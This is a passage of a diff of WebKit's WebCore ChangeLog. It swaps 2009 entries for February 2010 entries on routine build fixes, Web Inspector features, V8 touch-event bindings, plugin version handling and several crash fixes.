+        (WebCore::KURL::isHierarchical):
 
-2009-08-21  Ryosuke Niwa  <rniwa@webkit.org>
+2010-02-18  Xan Lopez  <xlopez@igalia.com>
 
-        No Review.
+        Reviewed by Gustavo Noronha.
 
-        Windows build fix.
+        Remove some duplication between PluginView and Widget methods, and
+        move the setSelfVisible calls to the parent class.
 
-        * editing/ApplyStyleCommand.cpp:
-        (WebCore::setTextDecorationProperty): Made it static
-        (WebCore::diffTextDecorations): Made it static
+        * platform/gtk/WidgetGtk.cpp:
+        (WebCore::Widget::show):
+        (WebCore::Widget::hide):
+        * plugins/gtk/PluginViewGtk.cpp:
+        (WebCore::PluginView::setFocus):
+        (WebCore::PluginView::show):
+        (WebCore::PluginView::hide):
 
-2009-08-21  Ryosuke Niwa  <rniwa@webkit.org>
+2010-02-18  Simon Fraser  <simon.fraser@apple.com>
 
-        Reviewed by Eric Seidel.
+        Reviewed by Darin Adler.
 
-        execCommand("Underline") uses CSS even when styleWithCSS has been turned off
-        https://bugs.webkit.org/show_bug.cgi?id=23892
+        <rdar://problem/7655195> Switch Leopard back to using CGShading to avoid CGGradient leaks
 
-        This patch adds support for u and s in StyleChange and addInlineStyleIfNeeded so that
-        WebKit does not use CSS to decorate texts when styleWithCSS is set to false.
+        Define USE_CG_SHADING on for Tiger and Leopard, and use it to toggle the methods
+        used for Core Graphics gradient drawing.
 
-        * css/CSSValueList.cpp:
-        (WebCore::CSSValueList::copy): Added.
-        * css/CSSValueList.h: Added copy.
-        * editing/ApplyStyleCommand.cpp:
-        (WebCore::StyleChange::applyUnderline):
-        (WebCore::StyleChange::applyLineThrough):
-        (WebCore::StyleChange::StyleChange): Added a boolean trimTextDecorations argument.
-        (WebCore::StyleChange::init): Ditto.
-        (WebCore::StyleChange::extractTextStyles): Handles text decorations.
-        (WebCore::getPropertiesNotInComputedStyle): Handles text decorations properly.
-        (WebCore::ApplyStyleCommand::addInlineStyleIfNeeded): Adds u and s if needed.
+        * platform/graphics/Gradient.h:
+        * platform/graphics/cg/GradientCG.cpp:
+        (WebCore::Gradient::platformDestroy):
+        (WebCore::Gradient::paint):
 
-2009-08-21  Joseph Pecoraro  <joepeck@webkit.org>
+2010-02-18  Pavel Feldman  <pfeldman@chromium.org>
 
         Reviewed by Timothy Hatcher.
 
-        Inspector: Rename "Databases" Panel as "Storage"
-        https://bugs.webkit.org/show_bug.cgi?id=28620
-
-          Updated enum from "DatabasesPanel" to "StoragePanel" and wherever it was used.
-
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::specialPanelForJSName): string to display StoragePanel can be either "databases" or "storage"
-        * inspector/InspectorController.h:
-        (WebCore::InspectorController::):
-        * inspector/InspectorFrontend.cpp:
-        (WebCore::InspectorFrontend::showPanel):
-
-          Updated All Direct Access from WebInspector.panels.databases to WebInspector.panels.storage,
-          any DatabasesPanel constructors and appropriate function names.
-
-        * inspector/front-end/DOMStorageDataGrid.js:
-        (WebInspector.DOMStorageDataGrid.prototype._startEditingColumnOfDataGridNode):
-        (WebInspector.DOMStorageDataGrid.prototype._startEditing):
-        (WebInspector.DOMStorageDataGrid.prototype._editingCommitted):
-        (WebInspector.DOMStorageDataGrid.prototype._editingCancelled):
-        (WebInspector.DOMStorageDataGrid.prototype.deleteSelectedRow):
-        * inspector/front-end/DOMStorageItemsView.js:
-        (WebInspector.DOMStorageItemsView.prototype.update):
-        * inspector/front-end/DatabaseQueryView.js:
-        (WebInspector.DatabaseQueryView.prototype._queryFinished):
-        * inspector/front-end/DatabaseTableView.js:
-        (WebInspector.DatabaseTableView.prototype._queryFinished):
-        * inspector/front-end/inspector.js:
-        (WebInspector._createPanels): updated string that comes from hiddenPanels to be "databases" or "storage"
-        (WebInspector.showStoragePanel):
-        (WebInspector.selectDatabase):
-        (WebInspector.selectDOMStorage):
-        (WebInspector.addDatabase):
-        (WebInspector.addDOMStorage):
-
-          Renamed some files and Updated Accordingly.
-
-        * inspector/front-end/StoragePanel.js: Renamed from WebCore/inspector/front-end/DatabasesPanel.js.
-        * inspector/front-end/Images/storageIcon.png: Renamed from WebCore/inspector/front-end/Images/databasesIcon.png.
-        * inspector/front-end/WebKit.qrc: use new file names
-        * inspector/front-end/inspector.css: use new images name and class names
-        * inspector/front-end/inspector.html: use new file name
-        * WebCore.gypi: use new file names
-
-          Miscellaneous Updates.
-
-        * English.lproj/localizedStrings.js: Updated Tooltip from "Databases" to "Storage"
-
-2009-08-21  Maxime Simon  <simon.maxime@gmail.com>
-
-        Reviewed by Oliver Hunt.
+        Web Inspector: on-hover evaluation renders nodes and arrays as strings.
 
-        [Haiku] Adding three font-specific files to WebCore:
-        FontCacheHaiku.cpp, FontHaiku.cpp, and SimpleFontDataHaiku.cpp
-        https://bugs.webkit.org/show_bug.cgi?id=28131
+        https://bugs.webkit.org/show_bug.cgi?id=35103
 
-        * platform/graphics/haiku/FontCacheHaiku.cpp: Added.
-        (WebCore::FontCache::platformInit):
-        (WebCore::FontCache::getFontDataForCharacters):
-        (WebCore::FontCache::getSimilarFontPlatformData):
-        (WebCore::FontCache::getLastResortFallbackFont):
-        (WebCore::FontCache::createFontPlatformData):
-        (WebCore::FontCache::getTraitsInFamily):
-        * platform/graphics/haiku/FontHaiku.cpp: Added.
-        (charUnicodeToUTF8HACK):
-        (WebCore::Font::canReturnFallbackFontsForComplexText):
-        (WebCore::Font::drawGlyphs):
-        (WebCore::Font::drawComplexText):
-        (WebCore::Font::floatWidthForComplexText):
-        (WebCore::Font::selectionRectForComplexText):
-        (WebCore::Font::offsetForPositionForComplexText):
-        * platform/graphics/haiku/SimpleFontDataHaiku.cpp: Added.
-        (WebCore::SimpleFontData::platformInit):
-        (WebCore::SimpleFontData::platformCharWidthInit):
-        (WebCore::SimpleFontData::platformDestroy):
-        (WebCore::SimpleFontData::smallCapsFontData):
-        (WebCore::SimpleFontData::containsCharacters):
-        (WebCore::SimpleFontData::determinePitch):
-        (WebCore::SimpleFontData::platformWidthForGlyph):
-
-2009-08-21  Philippe Beauchamp  <philippe.beauchamp@gmail.com>
-
-        Reviewed by Adam Roben.
-
-        Middle click panning icon is offset by 3 pixels
-        https://bugs.webkit.org/show_bug.cgi?id=28611
+        * inspector/front-end/SourceFrame.js:
+        (WebInspector.SourceFrame.prototype._showPopup.showObjectPopup):
 
-        * platform/ScrollView.cpp:
-        panIconSizeLength initialized to 20 instead of 16 to match icon dimension (2 pixels offset)
-        * platform/win/CursorWin.cpp:
-        (WebCore::middlePanningCursor):
-        Hotspot initialized to (8,8) instead of (7,7) (one pixel offset)
-        
-2009-08-21  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+2010-02-18  Brady Eidson  <beidson@apple.com>
 
-        Reviewed by Eric Seidel.
+        Reviewed by Sam Weinig.
 
-        [Qt] Remove inspector resources for Symbian
-        https://bugs.webkit.org/show_bug.cgi?id=28610
+        Particularly constructed WebFrames can try to access a null HistoryItem
+        <rdar://problem/7638892> and https://bugs.webkit.org/show_bug.cgi?id=35063
 
-        Based on an idea from Simon Hausmann.
+        Test: fast/loader/api-test-new-window-data-load-base-url.html
 
-        * WebCore.pro:
+        * loader/HistoryController.cpp:
+        (WebCore::HistoryController::updateBackForwardListForFragmentScroll): We have a known case where a fragment scroll
+          might take place with a null m_currentItem. updateBackForwardListClippedAtTarget() will either move m_currentItem 
+          to m_previousItem then create a new m_currentItem...  or it will do nothing. So we either have both an m_currentItem 
+          and m_previousItem, or we have neither.  In the case where we have no m_previousItem, return early.
 
-2009-08-21  Joseph Pecoraro  <joepeck@webkit.org>
+2010-02-18  Nate Chapin  <japhet@chromium.org>
 
         Reviewed by Eric Seidel.
 
-        Inspector: Remove Unused Variable
-        https://bugs.webkit.org/show_bug.cgi?id=28616
-
-        * inspector/front-end/Resource.js:
-        (WebInspector.Resource.prototype._checkWarning):
-
-2009-08-21  Joseph Pecoraro  <joepeck@webkit.org>
+        [V8] Correctly handle the case where the event field on the
+        global object is a v8::Object, but not a DOM wrapper.
 
-        Reviewed by Timothy Hatcher.
-
-        Inspector: Console Array Formatter Shows Extra Properties
-        https://bugs.webkit.org/show_bug.cgi?id=28615
-
-        * inspector/front-end/ConsoleView.js:
-        (WebInspector.ConsoleView.prototype._formatarray): do not ignore hasOwnProperties
-
-2009-08-21  Beth Dakin  <bdakin@apple.com>
+        https://bugs.webkit.org/show_bug.cgi?id=34899
 
-        Reviewed by Dan Bernstein.
-
-        The CSS part of https://bugs.webkit.org/show_bug.cgi?id=27574 [CSS3 
-        Backgrounds and Borders] Add support for the "contain" value for 
-        background-size
-        -and-
-        https://bugs.webkit.org/show_bug.cgi?id=27573 [CSS3 Backgrounds and 
-        Borders] Add support for the "cover" value for background-size
-
-        Return contain or cover when appropriate, and otherwise do what we 
-        used to do.
-        * css/CSSComputedStyleDeclaration.cpp:
-        (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue):
-
-        Accept contain and cover as valid values for background-size.
-        * css/CSSParser.cpp:
-        (WebCore::CSSParser::parseFillProperty):
-
-        Handle setting the size and the sizeLength if appropriate.
-        * css/CSSStyleSelector.cpp:
-        (WebCore::CSSStyleSelector::mapFillSize):
-
-        Added new keywords contain and cover.
-        * css/CSSValueKeywords.in:
-
-        Use just sizeLength instead of size to match old behavior.
-        * page/animation/AnimationBase.cpp:
-        (WebCore::FillLayersPropertyWrapper::FillLayersPropertyWrapper):
-        * rendering/RenderBoxModelObject.cpp:
-        (WebCore::RenderBoxModelObject::calculateBackgroundSize):
-        * rendering/RenderObject.cpp:
-        (WebCore::mustRepaintFillLayers):
-
-        The variable m_sizeType is an EBackgroundSize, and m_sizeLength is 
-        a LengthSize (the equivalent of what m_size used to be). I got rid 
-        of m_sizeSet and made isSizeSet() dynamic. I also defined a new 
-        struct, FillSize that can be used to set or get m_size and 
-        m_sizeLength both at once. 
-        * rendering/style/FillLayer.cpp:
-        (WebCore::FillLayer::FillLayer):
-        (WebCore::FillLayer::operator=):
-        (WebCore::FillLayer::operator==):
-        (WebCore::FillLayer::fillUnsetProperties):
-        * rendering/style/FillLayer.h:
-        (WebCore::FillSize::FillSize):
-        (WebCore::FillSize::operator==):
-        (WebCore::FillSize::operator!=):
-        (WebCore::FillLayer::sizeLength):
-        (WebCore::FillLayer::size):
-        (WebCore::FillLayer::isSizeSet):
-        (WebCore::FillLayer::setSizeType):
-        (WebCore::FillLayer::setSizeLength):
-        (WebCore::FillLayer::setSize):
-        (WebCore::FillLayer::clearSize):
-        (WebCore::FillLayer::initialFillSizeType):
-        (WebCore::FillLayer::initialFillSizeLength):
-        (WebCore::FillLayer::initialFillSize):
-
-        This is all boiler-plate stuff to adjust to the new size() vs. 
-        sizeType() vs. sizeLength() distinction.
-        * rendering/style/RenderStyle.h:
-        (WebCore::InheritedFlags::backgroundSizeType):
-        (WebCore::InheritedFlags::backgroundSizeLength):
-        (WebCore::InheritedFlags::maskSize):
-        (WebCore::InheritedFlags::setBackgroundSize):
-        (WebCore::InheritedFlags::setBackgroundSizeLength):
-        (WebCore::InheritedFlags::setMaskSize):
-
-        Definition for EBackgroundSizeType.
-        * rendering/style/RenderStyleConstants.h:
-        (WebCore::):
+        Test: fast/dom/Window/window-event-override-no-crash.html
 
-2009-08-21  Ariya Hidayat  <ariya.hidayat@nokia.com>
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::processingUserGesture):
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::isValidDOMObject):
+        (WebCore::V8DOMWrapper::isWrapperOfType):
+        * bindings/v8/V8DOMWrapper.h:
 
-        Not reviewed, build fix after r47580.
+2010-02-18  Pavel Feldman  <pfeldman@chromium.org>
 
-        [Qt] Adjust the files.
+        Not reviewed, Qt build fix.
 
         * inspector/front-end/WebKit.qrc:
 
-2009-08-20  Chris Fleizach  <cfleizach@apple.com>
-
-        Reviewed by Darin Adler.
-
-        Enable various "grouping" ARIA roles
-        https://bugs.webkit.org/show_bug.cgi?id=28486
-
-        Test: platform/mac/accessibility/aria-grouping-roles.html
-
-        * accessibility/AccessibilityObject.h:
-        * accessibility/AccessibilityRenderObject.cpp:
-        * accessibility/mac/AccessibilityObjectWrapper.mm:
-        * page/mac/WebCoreViewFactory.h:
-        * platform/LocalizedStrings.h:
-        * platform/mac/LocalizedStringsMac.mm:
-
-2009-08-20  David Levin  <levin@chromium.org>
-
-        Unreviewed trivial comment fix.
-
-        Update a bug link in a comment due to bugzilla amnesia.
-
-        * loader/CachedResource.cpp:
-        (WebCore::CachedResource::setResourceToRevalidate):
-
-2009-08-20  Albert J. Wong  <ajwong@chromium.org>
-
-        Reviewed by David Levin.
-
-        HTML5 media elements do not fire waiting events correctly
-        https://bugs.webkit.org/show_bug.cgi?id=28335
-
-        Fire the waiting event before seeking, and fix a case where firing of
-        the seeked event is missed when the ready state is changed during
-        a seek.
-
-        Added video-waiting-seeking.html into manual tests because not
-        all platforms allow seeking into non-buffered ranges.
-
-        * html/HTMLMediaElement.cpp:
-        (WebCore::HTMLMediaElement::setReadyState): add support for
-        waiting event when seeking.
-        (WebCore::HTMLMediaElement::finishSeek): send seeked event
-        whenever seeking finishes.
-        (WebCore::HTMLMediaElement::mediaPlayerTimeChanged): dispatch to
-        new function.
-        * html/HTMLMediaElement.h:
-        * manual-tests/video-waiting-seeking.html: Added.
-
-2009-08-20  Dan Bernstein  <mitz@apple.com>
-
-        Reviewed by John Sullivan.
-
-        Fix more cases of
-        <rdar://problem/7154521> Lots of "<Error>: doClip: empty path." spew in
-        the console with certain content
-
-        If the border box is empty, simply avoid painting instead of trying to
-        clip to the empty path.
-
-        * rendering/RenderBoxModelObject.cpp:
-        (WebCore::RenderBoxModelObject::paintFillLayerExtended):
-        * rendering/RenderReplaced.cpp:
-        (WebCore::RenderReplaced::paint):
-        * rendering/RenderWidget.cpp:
-        (WebCore::RenderWidget::paint):
-
-2009-08-20  Jeremy Orlow  <jorlow@chromium.org>
-
-        Build fix.  Forgot a svn add for a patch I landed.  :-(
-
-        * storage/SQLTransactionClient.cpp: Added.
-        (WebCore::SQLTransactionClient::didCommitTransaction):
-        (WebCore::SQLTransactionClient::didExecuteStatement):
-        (WebCore::SQLTransactionClient::didExceedQuota):
-        * storage/SQLTransactionClient.h: Added.
-
-2009-08-20  Dumitru Daniliuc  <dumi@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        Added a client to SQLTransaction. In addition to being a place to
-        get notifications about certain events in a transaction, it is
-        also an abstraction layer that allows us to plug in different
-        implementations for each port for how transactions interract with
-        the main DB. For example, WebCore's default implementation will
-        make direct calls to DatabaseTracker's methods. At the same time,
-        Chromium's implementation will send IPCs to the browser process
-        whenever a transaction needs something from the main DB.
+2010-02-18  Pavel Feldman  <pfeldman@chromium.org>
 
-        All storage tests pass.
+        Reviewed by Timothy Hatcher.
 
-        https://bugs.webkit.org/show_bug.cgi?id=27967
+        Web Inspector: Implement evaluate-on-hover for scripts panel.
 
-        * GNUmakefile.am:
+        https://bugs.webkit.org/show_bug.cgi?id=35003
+ 
         * WebCore.gypi:
-        * WebCore.pro:
         * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
-        * storage/Database.cpp:
-        (WebCore::Database::transactionClient):
-        * storage/Database.h:
-        * storage/DatabaseThread.cpp:
-        (WebCore::DatabaseThread::DatabaseThread):
-        * storage/DatabaseThread.h:
-        (WebCore::DatabaseThread::transactionClient):
-        * storage/SQLTransaction.cpp:
-        (WebCore::SQLTransaction::runCurrentStatement):
-        (WebCore::SQLTransaction::deliverQuotaIncreaseCallback):
-        (WebCore::SQLTransaction::postflightAndCommit):
-        * storage/SQLTransactionClient.cpp: Added.
-        * storage/SQLTransactionClient.h: Added.
-
-2009-08-20  Brian Weinstein  <bweinstein@apple.com>
-
-        Reviewed by Steve Falkenburg.
-
-        Fix of <https://bugs.webkit.org/show_bug.cgi?id=24793>
-        Auto scroll speed is faster than in IE, Firefox.
-        
-        Changed pan scrolling speed to match Firefox's algorithm.
-
-        * rendering/RenderLayer.cpp:
-        (WebCore::adjustedScrollDelta):
-        (WebCore::RenderLayer::panScrollFromPoint):
-
-2009-08-20  Stephen White  <senorblanco@chromium.org>
-
-        Reviewed by Eric Seidel.
-
-        Fix for assert in Chromium page cycler:  drawRect() was re-using
-        an SkPaint, but not resetting it before calling
-        PlatformGraphicsSkia::setupPaintForFilling() a second time.  This
-        CL fixes drawRect(), and re-enables the assert.
-        http://bugs.webkit.org/show_bug.cgi?id=28172
-        http://crbug.com/19797
-
-        Covered by Chromium page cycler tests.
-
-        * platform/graphics/skia/PlatformContextSkia.cpp:
-        (PlatformContextSkia::drawRect):
-        (PlatformContextSkia::setupPaintCommon):
-
-2009-08-20  Anders Carlsson  <andersca@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        <rdar://problem/7159016> Popup menus don't disappear when you click outside the window.
-        
-        Revert r47535 which introduced this.
-        
-        * platform/win/PopupMenuWin.cpp:
-        (WebCore::PopupMenu::show):
-        (WebCore::PopupWndProc):
-
-2009-08-20  David Levin  <levin@chromium.org>
-
-        Reviewed by Alexey Proskuryakov.
-
-        Crashes on sites with lots of images
-        https://bugs.webkit.org/show_bug.cgi?id=28473
-
-        The problem is that m_resourceToRevalidate::m_isBeingRevalidated is false while
-        CachedResource is still referring to it, so it may get deleted before
-        Cache::revalidationSucceeded calls CachedResource::clearResourceToRevalidate.
-
-        * loader/Cache.cpp:
-        (WebCore::Cache::revalidateResource): Added assert to verify the resource
-        being revalidated is physically in the cache.
-        (WebCore::Cache::revalidationSucceeded): Changed to do one call to switch from the revalidating
-        resource to the revalidated resource.  This allows for proper lifetime management of the
-        revalidated resource. Added assert to verify that the revalidatingResource is in the cache.
-        (WebCore::Cache::pruneDeadResources): Don't remove items from the cache that are in the
-        process of being validated (or else they can get added twice: Once through the normal mechanism
-        and then again during revalidateResource).
+        * inspector/front-end/Images/gearButtonGlyph.png: Added.
+        * inspector/front-end/Images/popoverArrows.png: Added.
+        * inspector/front-end/Images/popoverBackground.png: Added.
+        * inspector/front-end/Images/thumbActiveHoriz.png: Added.
+        * inspector/front-end/Images/thumbActiveVert.png: Added.
+        * inspector/front-end/Images/thumbHoriz.png: Added.
+        * inspector/front-end/Images/thumbHoverHoriz.png: Added.
+        * inspector/front-end/Images/thumbHoverVert.png: Added.
+        * inspector/front-end/Images/thumbVert.png: Added.
+        * inspector/front-end/Images/trackHoriz.png: Added.
+        * inspector/front-end/Images/trackVert.png: Added.
+        * inspector/front-end/Popup.js:
+        (WebInspector.Popup):
+        (WebInspector.Popup.prototype.show):
+        (WebInspector.Popup.prototype.hide):
+        (WebInspector.Popup.prototype._positionElement):
+        * inspector/front-end/SourceFrame.js:
+        (WebInspector.SourceFrame.prototype._createViewerIfNeeded):
+        (WebInspector.SourceFrame.prototype._scroll):
+        (WebInspector.SourceFrame.prototype._mouseDown):
+        (WebInspector.SourceFrame.prototype._mouseUp):
+        (WebInspector.SourceFrame.prototype._mouseMove):
+        (WebInspector.SourceFrame.prototype._mouseOut):
+        (WebInspector.SourceFrame.prototype._resetHoverTimer):
+        (WebInspector.SourceFrame.prototype._hidePopup):
+        (WebInspector.SourceFrame.prototype._mouseHover):
+        (WebInspector.SourceFrame.prototype._showPopup.showTextPopup):
+        (WebInspector.SourceFrame.prototype._showPopup.showObjectPopup):
+        (WebInspector.SourceFrame.prototype._showPopup.evaluateCallback):
+        (WebInspector.SourceFrame.prototype._showPopup):
+        (WebInspector.HoverPropertiesSection):
+        (WebInspector.HoverPropertiesSection.prototype.update):
+        * inspector/front-end/TextEditorHighlighter.js:
+        (WebInspector.TextEditorHighlighter):
+        (WebInspector.TextEditorHighlighter.prototype._lex):
+        * inspector/front-end/TextViewer.js:
+        (WebInspector.TextViewer.prototype._paintLine):
+        * inspector/front-end/WebKit.qrc:
+        * inspector/front-end/inspector.css:
+        * inspector/front-end/inspector.html:
+        * inspector/front-end/inspectorSyntaxHighlight.css:
+        * inspector/front-end/popover.css: Added.
 
-        * loader/CachedResource.cpp:
-        (WebCore::CachedResource::CachedResource):
-        (WebCore::CachedResource::isSafeToMakePurgeable):
-        Changed m_isBeingRevalidated to m_proxyResource to allow finding out
-        who the validating resource (or proxy) is.
-
-        (WebCore::CachedResource::~CachedResource): Removed code to handle m_resourceToRevalidate
-        being non-zero because this shouldn't be possible due to checks in canDelete. Added asserts
-        as well.
-        (WebCore::CachedResource::setResourceToRevalidate): Adjusted for the change to m_proxyResource
-        and added a comment about the assert.
-        (WebCore::CachedResource::clearResourceToRevalidate):
-        Only clean up the resourceToRevalidate if it hasn't gotten a new proxy resource.
-        * loader/CachedResource.h:
-        (WebCore::CachedResource::setInCache): Don't clear m_proxyResource because the resource
-        is still being referred to by it and the code it robust to this being switched to a new proxy
-        resource without it being cleared first.
-        (WebCore::CachedResource::canDelete): Changed m_isBeingRevalidated to m_proxyResource.
+2010-02-18  Ben Murdoch  <benm@google.com>
 
-2009-08-20  Xiaomei Ji  <xji@chromium.org>
+        Reviewed by Jeremy Orlow.
 
-        Reviewed by Eric Seidel.
+        [v8] Complete upstreaming of V8 Touch Event bindings
+        https://bugs.webkit.org/show_bug.cgi?id=35094
 
-        Fix "Chromium RTL autocomplete popup is not layout correctly".
-        https://bugs.webkit.org/show_bug.cgi?id=27889
-
-        The complete fix of the issue consists 2 parts: the patch in webkit
-        and the patch in Chromium's own code.
-
-        This webkit patch only affects Chromium autofill. It
-        1. introduces a new flag in WebCore::PopupContainerSettings to
-           distinguish whether the width of the drop-down should be restricted
-           or not.
-           For autofill, the width of the drop-down is restricted to
-           be the same as that of the input field (the new flag is set in
-           Chromium's own code). But width is not restricted for <select> (same as before).
-        2. introduce a new flag in WebCore::PopContainerSettings to
-           indicate what heuristics to use when displaying text in drop-down menu.
-           For autofill, use drop-down item's directionality to display drop-down items.
-           Previously, drop-down item is displayed in the its first strong
-           directional character's directionality.
-           (drop-down item's directionality is set in Chromium's own code.
-           It is set the same as the directionality of the element. 
-           For autofill, it is the same directionality as that of the input field.)
-           For <select>, still use the text's first strong directional character's
-           directionality to display the text.
-
-
-        Since the patch only affects the chromium client, not webcore part or
-        other clients. No automatic tests is possible.
-
-        * manual-tests/autofill-popup-width-and-item-direction.html: Added.
-        * platform/chromium/PopupMenuChromium.cpp:
-        (WebCore::):
-        (WebCore::PopupListBox::paintRow): If list box width is restricted and 
-        an item is longer to fit in a list box, truncate it and draw part of the text and append ellipses.
-        (WebCore::PopupListBox::layout): Restrict width of list box if applicable.
-        * platform/chromium/PopupMenuChromium.h: 
-        (WebCore::PopupItem::PopupItem): style change.
-        (WebCore::PopupContainerSettings::): Add 2 new flags in PopupContainerSetting to 
-        distinguish whether to restrict width of list box and 
-        in what directionality to display the text in drop-down.
+        No new tests required.
 
-2009-08-20  Brian Weinstein  <bweinstein@apple.com>
+        * bindings/v8/V8Index.cpp: Add generated touch event headers.
 
-        Reviewed by Adele Peterson.
+2010-02-18  Steve Block  <steveblock@google.com>
 
-        Fix of <https://bugs.webkit.org/show_bug.cgi?id=28504>. 
-        Pan Scrolling can scroll while showing the middlePanScroll icon.
-        
-        Fixed an off by one error between RenderLayer::panScrollFromPoint and EventHandler::updatePanScrollState. 
-        In RenderLayer::panScrollFromPoint, we were setting the icon to be an arrow if the difference between the start
-        of the pan scroll and the current mouseposition is > 15. However, in EventHandler::updatePanScrollState, we would
-        set our amount to scroll to 0 only if the difference in mouse position is < 15. I made this check a <= 15, to fix
-        the off by one error.
+        Reviewed by Jeremy Orlow.
 
-        * rendering/RenderLayer.cpp:
-        (WebCore::RenderLayer::panScrollFromPoint):
+        Updates Android V8 build to use DerivedSourcesAllInOne.cpp
+        https://bugs.webkit.org/show_bug.cgi?id=35083
 
-2009-08-20  David Hyatt  <hyatt@apple.com>
+        No new tests, build fix only.
 
-        Reviewed by Dan Bernstein.
+        * Android.derived.v8bindings.mk:
+        * Android.v8bindings.mk:
 
-        Pull the code in layoutBlockChildren for handling a normal flow block child into a helper method,
-        layoutBlockChild.
+2010-02-18  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
 
-        * rendering/RenderBlock.cpp:
-        (WebCore::RenderBlock::layoutBlockChildren):
-        (WebCore::RenderBlock::layoutBlockChild):
-        * rendering/RenderBlock.h:
+        Reviewed by Xan Lopez.
 
-2009-08-20  Brian Weinstein  <bweinstein@apple.com>
+        fast/frames/iframe-reparenting.html crashing on GTK Debug bots
+        https://bugs.webkit.org/show_bug.cgi?id=35081
 
-        Reviewed by Adam Roben.
+        Check that the client is alive after every call to it, since any
+        of them could cause the load to be cancelled, and the client to go
+        away.
 
-        Made subframeForHitTargetNode a public static method, so WebView can call it
-        during hit testing.
+        This is much better than protecting a specific subclass of
+        ResourceHandleClient (ResourceLoader), which makes us fail when
+        any other client is used.
 
-        * page/EventHandler.cpp:
-        (WebCore::subframeForHitTestResult):
-        (WebCore::EventHandler::subframeForTargetNode):
-        * page/EventHandler.h:
+        Test: fast/frames/iframe-reparenting.html
 
-2009-08-20  Brent Fulgham  <bfulgham@webkit.org>
+        * platform/network/soup/ResourceHandleSoup.cpp:
+        (WebCore::parseDataUrl):
 
-        Rubberstamped by Kevin Ollivier.
+2010-02-18  Ben Murdoch  <benm@google.com>
 
-        Check for null bundle before attempting to use it.
+        Reviewed by Nate Chapin.
 
-        * platform/network/curl/ResourceHandleManager.cpp:
-        (WebCore::certificatePath): Add null check on return of
-          CFBundleGetBundleWithIdentifier.
+        [v8] [Android] V8 bindings for touch events are missing.
+        https://bugs.webkit.org/show_bug.cgi?id=33795
 
-2009-08-20  David Hyatt  <hyatt@apple.com>
+        No new tests as this just enables touch events in V8. Existing touch tests suffice.
 
-        Reviewed by Dan Bernstein.
+        * WebCore.gypi: Add Touch idl files.
+        * bindings/scripts/CodeGeneratorV8.pm: Add TouchList to typeCanFailConversion map.
+        * bindings/v8/DOMObjectsInclude.h: Add touch headers.
+        * bindings/v8/DerivedSourcesAllInOne.cpp: Add touch generated bindings.
+        * bindings/v8/V8Index.h: Add touch DOM object types.
+        * bindings/v8/custom/V8EventCustom.cpp: Add conversion of event to touch event.
+        * Android.derived.jscbindings.mk: Add the touch derived sources to the makefile.
+        * Android.derived.v8bindings.mk: Add the touch derived sources to the makefile.
 
-        https://bugs.webkit.org/show_bug.cgi?id=28497, images and inline replaced elements don't propagate overflow properly on a line.
+2010-02-18  William Chan  <willchan@chromium.org>
 
-        Added fast/repaint/inline-block-overflow.html and updated another test.
+        Reviewed by Adam Barth.
 
-        * rendering/InlineFlowBox.cpp:
-        (WebCore::InlineFlowBox::placeBoxesHorizontally):
-        (WebCore::InlineFlowBox::computeVerticalOverflow):
-        Make sure to still propagate the border box of the replaced element as layout overflow when overflow clip is set on the
-        replaced element.  Make sure to use the InlineBox x/y positions instead of the RenderBox x/y, since the position of the
-        RenderBox has not been updated to the new values yet.
-        
-        * rendering/RenderLineBoxList.cpp:
-        (WebCore::RenderLineBoxList::paint):
-        Don't use the root line box's overflow.  Use the actual line box overflow values instead.  In the case of an inline
-        with a layer, our overflow didn't propagate to the root line, so we always need to use our values.
+        https://bugs.webkit.org/show_bug.cgi?id=35071
+        Disable loader limiting of requests per host for the chromium port.
 
-        * rendering/RenderPartObject.cpp:
-        (WebCore::RenderPartObject::layout):
-        * rendering/RenderReplaced.cpp:
-        (WebCore::RenderReplaced::layout):
-        Make sure to clear shadow overflow when doing layout of replaced elements, so that we don't leave a stale overflow
-        value around if a box-shadow goes away.
+        No tests because we're only changing a constant.
 
-2009-08-20  Dmitry Titov  <dimich@chromium.org>
+        * platform/network/chromium/ResourceRequest.cpp:
+        (WebCore::initializeMaximumHTTPConnectionCountPerHost):
 
-        Another attempt to fix Chromium build.
+2010-02-18  Xan Lopez  <xlopez@igalia.com>
 
-        * WebCore.gypi: now use the correct name of the image file.
+        Reviewed by Eric Seidel.
 
-2009-08-20  Dan Bernstein  <mitz@apple.com>
+        [Linux] Webkit incompatible with Java plugins
+        https://bugs.webkit.org/show_bug.cgi?id=24912
 
-        Make the Windows build even fixeder
+        The NP Version supported by WebKit is at the moment hardcoded in
+        PluginPackage.cpp (to 24), but not all backends actually implement
+        the methods needed to claim this. Introduce a new method to be
+        implemented by each backend where the maximum supported version
+        can be specified, and set the GTK+ port NPVersion to 19. This
+        fixes an instantaneous crasher in the Sun Java NPAPI plugin.
 
-        * platform/graphics/win/GraphicsContextCGWin.cpp:
-        (WebCore::GraphicsContextPlatformPrivate::flush):
+        * plugins/PluginPackage.cpp:
+        (WebCore::PluginPackage::initializeBrowserFuncs):
+        * plugins/PluginPackage.h:
+        * plugins/gtk/PluginPackageGtk.cpp:
+        (WebCore::PluginPackage::NPVersion):
+        * plugins/mac/PluginPackageMac.cpp:
+        (WebCore::PluginPackage::NPVersion):
+        * plugins/qt/PluginPackageQt.cpp:
+        (WebCore::PluginPackage::NPVersion):
+        * plugins/symbian/PluginPackageSymbian.cpp:
+        (WebCore::PluginPackage::NPVersion):
+        * plugins/win/PluginPackageWin.cpp:
+        (WebCore::PluginPackage::NPVersion):
 
-2009-08-20  Dmitry Titov  <dimich@chromium.org>
+2010-02-17  Dmitry Titov  <dimich@chromium.org>
 
-        Not reviewed, Chromium build fix.
+        Reviewed by David Levin, Darin Fisher, Simon Hausmann.
 
-        * WebCore.gypi: add new Webinspector image files (localStorage.png and sessionStorage.png)
+        When a live iframe element is moved between pages, it still depends on the old page.
+        https://bugs.webkit.org/show_bug.cgi?id=34382
 
-2009-08-20  Dan Bernstein  <mitz@apple.com>
+        Test: fast/frames/iframe-reparenting-new-page.html
 
-        Windows build fix after the last change
+        * html/HTMLFrameElementBase.cpp:
